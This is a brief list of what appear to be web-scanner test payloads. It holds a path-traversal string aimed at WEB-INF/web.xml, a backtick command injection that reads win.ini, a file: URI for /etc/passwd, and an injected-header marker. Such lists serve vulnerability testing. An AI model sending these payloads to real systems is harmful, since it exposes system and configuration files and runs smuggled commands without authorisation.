../WEB-INF/web.xml

`type c:\windows\win.ini`

file:/etc/./passwd

aa WebScanCustomInjectedHeader: Injected_by_Anymous